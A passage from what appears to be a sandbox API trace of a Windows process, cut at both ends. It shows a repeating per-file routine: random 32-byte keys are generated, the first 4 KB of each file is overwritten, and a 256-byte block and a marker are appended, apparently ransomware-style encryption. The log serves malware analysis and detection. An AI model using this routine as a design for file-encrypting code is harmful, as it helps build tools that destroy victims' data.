() returned 0x540000 [0086.821] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.821] GetProcessHeap () returned 0x540000 [0086.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.821] GetProcessHeap () returned 0x540000 [0086.821] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.821] GetProcessHeap () returned 0x540000 [0086.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.821] GetProcessHeap () returned 0x540000 [0086.821] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.821] GetProcessHeap () returned 0x540000 [0086.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.821] GetProcessHeap () returned 0x540000 [0086.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.821] GetProcessHeap () returned 0x540000 [0086.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.821] GetProcessHeap () returned 0x540000 [0086.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.821] GetProcessHeap () returned 0x540000 [0086.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.821] SetFilePointerEx (in: hFile=0x954, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.821] WriteFile (in: hFile=0x954, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.821] WriteFile (in: hFile=0x954, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.822] GetProcessHeap () returned 0x540000 [0086.822] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.822] GetProcessHeap () returned 0x540000 [0086.822] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.822] GetProcessHeap () returned 0x540000 [0086.822] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.822] CloseHandle (hObject=0x954) returned 1 [0086.823] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 119 [0086.824] SetFilePointerEx (in: hFile=0x958, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.824] ReadFile (in: hFile=0x958, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.824] SetFilePointerEx (in: hFile=0x958, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.824] GetProcessHeap () returned 0x540000 [0086.824] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.824] GetProcessHeap () returned 0x540000 [0086.824] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0086.824] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0086.824] GetProcessHeap () returned 0x540000 [0086.824] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.824] ReadFile (in: hFile=0x958, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0086.873] SetFilePointerEx (in: hFile=0x958, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.874] WriteFile (in: hFile=0x958, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0086.874] GetProcessHeap () returned 0x540000 [0086.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.874] GetProcessHeap () returned 0x540000 [0086.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.874] GetProcessHeap () returned 0x540000 [0086.874] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0086.874] GetProcessHeap () returned 0x540000 [0086.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.874] GetProcessHeap () returned 0x540000 [0086.874] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.874] GetProcessHeap () returned 0x540000 [0086.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.874] GetProcessHeap () returned 0x540000 [0086.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.874] GetProcessHeap () returned 0x540000 [0086.874] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.874] GetProcessHeap () returned 0x540000 [0086.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.874] GetProcessHeap () returned 0x540000 [0086.874] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.874] GetProcessHeap () returned 0x540000 [0086.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.874] GetProcessHeap () returned 0x540000 [0086.874] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.874] GetProcessHeap () returned 0x540000 [0086.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.874] GetProcessHeap () returned 0x540000 [0086.874] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.874] GetProcessHeap () returned 0x540000 [0086.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.874] GetProcessHeap () returned 0x540000 [0086.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.875] GetProcessHeap () returned 0x540000 [0086.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.875] GetProcessHeap () returned 0x540000 [0086.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.876] GetProcessHeap () returned 0x540000 [0086.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.877] GetProcessHeap () returned 0x540000 [0086.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.877] GetProcessHeap () returned 0x540000 [0086.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.877] GetProcessHeap () returned 0x540000 [0086.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.877] GetProcessHeap () returned 0x540000 [0086.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.877] GetProcessHeap () returned 0x540000 [0086.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.877] GetProcessHeap () returned 0x540000 [0086.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.877] GetProcessHeap () returned 0x540000 [0086.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.877] GetProcessHeap () returned 0x540000 [0086.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.877] GetProcessHeap () returned 0x540000 [0086.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.877] GetProcessHeap () returned 0x540000 [0086.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.877] GetProcessHeap () returned 0x540000 [0086.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.877] GetProcessHeap () returned 0x540000 [0086.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.877] GetProcessHeap () returned 0x540000 [0086.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.877] GetProcessHeap () returned 0x540000 [0086.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.877] GetProcessHeap () returned 0x540000 [0086.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.878] GetProcessHeap () returned 0x540000 [0086.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.878] GetProcessHeap () returned 0x540000 [0086.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.878] GetProcessHeap () returned 0x540000 [0086.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.878] GetProcessHeap () returned 0x540000 [0086.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.878] GetProcessHeap () returned 0x540000 [0086.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.878] GetProcessHeap () returned 0x540000 [0086.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.878] GetProcessHeap () returned 0x540000 [0086.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.878] GetProcessHeap () returned 0x540000 [0086.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.878] GetProcessHeap () returned 0x540000 [0086.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.878] GetProcessHeap () returned 0x540000 [0086.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.878] SetFilePointerEx (in: hFile=0x958, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.878] WriteFile (in: hFile=0x958, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.878] WriteFile (in: hFile=0x958, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.878] GetProcessHeap () returned 0x540000 [0086.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.878] GetProcessHeap () returned 0x540000 [0086.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.878] GetProcessHeap () returned 0x540000 [0086.879] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.879] CloseHandle (hObject=0x958) returned 1 [0086.879] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 120 [0086.880] SetFilePointerEx (in: hFile=0x95c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.880] ReadFile (in: hFile=0x95c, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.880] SetFilePointerEx (in: hFile=0x95c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.880] GetProcessHeap () returned 0x540000 [0086.880] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.880] GetProcessHeap () returned 0x540000 [0086.880] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0086.880] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0086.880] GetProcessHeap () returned 0x540000 [0086.880] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.880] ReadFile (in: hFile=0x95c, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0086.927] SetFilePointerEx (in: hFile=0x95c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.927] WriteFile (in: hFile=0x95c, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0086.927] GetProcessHeap () returned 0x540000 [0086.927] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.927] GetProcessHeap () returned 0x540000 [0086.927] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.928] GetProcessHeap () returned 0x540000 [0086.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.929] GetProcessHeap () returned 0x540000 [0086.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.930] GetProcessHeap () returned 0x540000 [0086.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.930] GetProcessHeap () returned 0x540000 [0086.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.930] GetProcessHeap () returned 0x540000 [0086.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.930] GetProcessHeap () returned 0x540000 [0086.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.930] GetProcessHeap () returned 0x540000 [0086.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.930] GetProcessHeap () returned 0x540000 [0086.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.930] GetProcessHeap () returned 0x540000 [0086.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.930] GetProcessHeap () returned 0x540000 [0086.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.930] GetProcessHeap () returned 0x540000 [0086.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.930] GetProcessHeap () returned 0x540000 [0086.930] HeapFree (in: hHeap=0x540000, 